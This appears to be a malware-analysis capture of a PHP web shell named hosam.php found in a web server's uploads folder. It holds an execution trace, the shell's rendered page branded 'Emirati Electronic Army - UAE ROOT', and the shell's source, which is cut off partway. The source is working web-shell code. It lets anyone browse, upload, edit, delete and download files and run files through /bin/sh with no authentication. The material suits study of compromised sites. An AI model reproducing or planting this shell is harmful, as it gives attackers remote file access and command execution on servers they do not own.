4 426 R '/var/www/html/uploads'
4 427 0 0.019799 789008 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 427 1 0.019817 789048
4 427 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
3 A /var/www/html/uploads/hosam.php 1266 $actions[] = 'copy'
3 A /var/www/html/uploads/hosam.php 1267 $actions[] = 'download'
4 428 0 0.019883 788944 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 428 1 0.019896 788984
4 428 R TRUE
4 429 0 0.019910 788944 file_exists 0 /var/www/html/uploads/hosam.php 1270 1 '/bin/sh'
4 429 1 0.019930 788984
4 429 R TRUE
3 A /var/www/html/uploads/hosam.php 1271 $actions[] = 'execute'
4 430 0 0.019958 788944 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4 430 1 0.019977 788976
4 430 R 7
4 431 0 0.019990 789040 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 431 1 0.020004 789328
4 431 R ' '
4 432 0 0.020020 789008 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
5 433 0 0.020035 789008 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create symlink' 2 'ISO-8859-1'
5 433 1 0.020051 789280
5 433 R 'create symlink'
4 432 1 0.020066 789168
4 432 R 'create symlink'
4 434 0 0.020081 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'delete'
5 435 0 0.020094 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 435 1 0.020108 789272
5 435 R 'delete'
4 434 1 0.020122 789160
4 434 R 'delete'
4 436 0 0.020136 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'rename'
5 437 0 0.020148 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'rename' 2 'ISO-8859-1'
5 437 1 0.020162 789272
5 437 R 'rename'
4 436 1 0.020176 789160
4 436 R 'rename'
4 438 0 0.020190 788992 word 1 /var/www/html/uploads/hosam.php 1281 1 'move'
5 439 0 0.020202 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 439 1 0.020216 789264
5 439 R 'move'
4 438 1 0.020229 789152
4 438 R 'move'
4 440 0 0.020243 788992 word 1 /var/www/html/uploads/hosam.php 1281 1 'copy'
5 441 0 0.020255 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'copy' 2 'ISO-8859-1'
5 441 1 0.020269 789264
5 441 R 'copy'
4 440 1 0.020283 789152
4 440 R 'copy'
4 442 0 0.020296 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'download'
5 443 0 0.020309 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'download' 2 'ISO-8859-1'
5 443 1 0.020322 789272
5 443 R 'download'
4 442 1 0.020336 789160
4 442 R 'download'
4 444 0 0.020351 789000 word 1 /var/www/html/uploads/hosam.php 1281 1 'execute'
5 445 0 0.020364 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'execute' 2 'ISO-8859-1'
5 445 1 0.020378 789272
5 445 R 'execute'
4 444 1 0.020392 789160
4 444 R 'execute'
3 A /var/www/html/uploads/hosam.php 1165 $i++
4 446 0 0.020416 788944 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 446 1 0.020488 788976
4 446 R 6
4 447 0 0.020502 789168 sizeof 0 /var/www/html/uploads/hosam.php 1299 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 447 1 0.020571 789200
4 447 R 6
4 448 0 0.020585 789264 html 1 /var/www/html/uploads/hosam.php 1301 1 '/var/www/html/uploads/'
5 449 0 0.020598 789264 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/' 2 'ISO-8859-1'
5 449 1 0.020613 789536
5 449 R '/var/www/html/uploads/'
4 448 1 0.020629 789424
4 448 R '/var/www/html/uploads/'
3 A /var/www/html/uploads/hosam.php 1304 $actions = []
4 450 0 0.020662 788568 dirname 0 /var/www/html/uploads/hosam.php 1305 1 '/var/www/html/uploads/prepend.php'
4 450 1 0.020676 788664
4 450 R '/var/www/html/uploads'
4 451 0 0.020690 788632 is_writable 0 /var/www/html/uploads/hosam.php 1305 1 '/var/www/html/uploads'
4 451 1 0.020707 788672
4 451 R TRUE
3 A /var/www/html/uploads/hosam.php 1306 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1307 $actions[] = 'move'
3 A /var/www/html/uploads/hosam.php 1309 $actions[] = 'copy'
4 452 0 0.020757 788944 str_repeat 0 /var/www/html/uploads/hosam.php 1312 2 ' ' 30
4 452 1 0.020771 789232
4 452 R ' '
4 453 0 0.020787 789000 word 1 /var/www/html/uploads/hosam.php 1316 1 'delete'
5 454 0 0.020801 789000 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'delete' 2 'ISO-8859-1'
5 454 1 0.020815 789272
5 454 R 'delete'
4 453 1 0.020828 789160
4 453 R 'delete'
4 455 0 0.020843 788992 word 1 /var/www/html/uploads/hosam.php 1316 1 'move'
5 456 0 0.020856 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'move' 2 'ISO-8859-1'
5 456 1 0.020870 789264
5 456 R 'move'
4 455 1 0.020884 789152
4 455 R 'move'
4 457 0 0.020898 788992 word 1 /var/www/html/uploads/hosam.php 1316 1 'copy'
5 458 0 0.020911 788992 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'copy' 2 'ISO-8859-1'
5 458 1 0.020926 789264
5 458 R 'copy'
4 457 1 0.020940 789152
4 457 R 'copy'
3 196 1 0.020954 788376
3 459 0 0.020963 788376 html_footer 1 /var/www/html/uploads/hosam.php 1129 0
3 459 1 0.020976 788376
2 50 1 0.020985 779024
1 3 1 0.021001 779024
0.021090 561784
TRACE END [2023-02-13 00:12:23.358165]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Emirati Electronic Army - UAE ROOT</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
<h1 style="margin-bottom: 0">Emirati Electronic Army - UAE ROOT</h1>
<form enctype="multipart/form-data" action="hosam.php" method="post">
<table id="main">
<tbody><tr>
<td colspan="7" id="directory">
<a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
</td>
</tr>
<tr>
<td colspan="7" id="upload">
File:
<input type="file" name="upload" onfocus="activate('other')">
<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
</td>
</tr>
<tr>
<td colspan="7" id="create">
<select name="create_type" size="1" onfocus="activate('create')">
<option value="file">File</option>
<option value="directory">Directory</option>
</select>
<input type="text" name="create_name" onfocus="activate('create')">
<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
</td>
</tr>
<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="hosam.php?image=smiley" alt="smiley"></th>
<th class="filename"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=filename&reverse=true">Filename</a></th>
<th class="size"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=size">Size</a></th>
<th class="permission_header"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=permission">Permission</a></th>
<th class="owner"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=owner">Owner</a></th>
<th class="group"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&sort=group">Group</a></th>
<th class="functions">Functions</th>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:51, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=folder" alt="folder"> [ <a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ] </td><td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file0" value="/var/www/html/.">
<select class="small" name="action0" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 20:14:46, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=folder" alt="folder"> [ <a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ] </td><td class="size" title="4 kB">4096 B</td>
<td class="permission" title="40777">drwxrwxrwx</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file1" value="/var/www/html/..">
<select class="small" name="action1" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
</select>
<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:50, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=file" alt="file"> <a href="hosam.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a> </td><td class="size">0 B</td>
<td class="permission" title="100644">-rw-r--r--</td>
<td class="owner" title="uid: 0">root</td>
<td class="group" title="gid: 0">root</td>
<td class="functions">
<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
<select class="small" name="action2" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:51, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=file" alt="file"> <a href="hosam.php?action=view&file=%2Fvar%2Fwww%2Fhtml%2Fhosam.php">hosam.php</a> </td><td class="size" title="67 kB">68561 B</td>
<td class="permission" title="100664">-rw-rw-r--</td>
<td class="owner" title="uid: 1000">osboxes</td>
<td class="group" title="gid: 1000">osboxes</td>
<td class="functions">
<input type="hidden" name="file3" value="/var/www/html/hosam.php">
<select class="small" name="action3" size="1">
<option value=""> </option>
<option value="create_symlink">create symlink</option>
<option value="delete">delete</option>
<option value="rename">rename</option>
<option value="move">move</option>
<option value="copy">copy</option>
<option value="download">download</option>
</select>
<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
</td>
</tr>
<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="hosam.php?image=arrow" alt=">"></td>
<td colspan="6">
<input type="hidden" name="num" value="4">
<input type="hidden" name="focus" value="">
<input type="hidden" name="olddir" value="/var/www/html/">
<select class="small" name="action_all" size="1">
<option value=""> </option>
<option value="delete">delete</option>
<option value="move">move</option>
<option value="copy">copy</option>
</select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
</td>
</tr>
</tbody></table>
</form>
</body></html>
<?php
/*
* Genius-JorDan - H0s4m - a simple Web-based file manager
* Copyright (C) 2004 Genius-JorDan - H0s4m
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 9
* =========================================================================
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'auto' - autoselect
*/
$lang = 'auto';
/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat ($filename) {
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
$win = ($delim == '\\') ? true : false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
$files[] = $_POST["file$i"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit$i", $_POST)) break;
}
if ($i < $_POST['num']) {
$action = $_POST["action$i"];
$files[] = $_POST["file$i"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = ($win) ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = ($retval == 0) ? false : true;
if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
